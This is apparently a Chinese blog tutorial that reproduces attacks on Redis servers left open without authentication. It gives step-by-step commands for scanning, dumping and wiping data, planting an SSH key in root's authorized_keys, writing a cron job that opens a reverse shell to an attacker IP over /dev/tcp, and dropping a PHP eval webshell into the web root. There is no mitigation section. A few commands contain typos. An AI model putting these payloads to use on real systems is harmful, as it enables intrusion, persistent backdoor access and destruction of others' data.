Redis未授权访问

应用介绍:

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

redis教程

漏洞简介:

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。

如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

可导致服务器权限被获取和数据删除。

案例:minerd挖矿程序

攻击复现:

获取主机端口开放信息

Redis默认使用6379端口,使用nmap对服务器进行扫描

1
nmap -A -p 6379 --script redis-info 目标IP

QQ图片20181203200931

Redis未授权访问获取敏感信息

Nmap扫描后发现主机的6379端口对外开放,就可以用本地Redis远程连接服务器(redis在开放往外网的情况下(默认配置是bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。

1
2
./redis-cli -h 目标IP
info

可以看到Redis的版本和服务器上内核版本信息,如果是新版的Redis2.8以后的版本还可以看到Redis配置文件的绝对路径

可以查看里面的key和其对应的值

1
2
key *
get key

Redis删除数据

1
2
flushall 删除所有数据
del key 删除键为key的数据

写入ssh公钥,获取操作系统权限

原理

在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。

首先在自己的电脑上生成key:

1
ssh-keygen -t rsa

将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里:

1
2
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | ./redis-cli -h 目标IP -x set xxx

连接目标主机的Redis:

1
./redis-lci -h 目标IP

设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

1
2
config set dir /root/.ssh
config set dbfilename autorized_keys

将数据保存在服务器硬盘上(缓存里的数据key.txt)

1
save

这时候用ssh远程连接:

1
ssh 目标IP

不用密码就可以直接远程登录

反弹shell

原理是和写公钥一样的,只是变换一下写入的内容和路径,数据库名。

首先在客户端这边监听一个端口

1
nc -l 8886

连接redis,写入反弹shell

1
2
3
4
5
./redis-cli -h 目标IP
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击IP/8886 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

在web目录下写入webshell

通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的。

远程连接redis,写入webshell

1
2
3
4
5
./redis-cli -h 目标IP
config set dir /var/www/html
set xxx "\n\n\n<?php @eval($_POST['wintry']);?>\n\n\n"
config set dbfilename webshell.php
save

来源:Redis未授权访问详解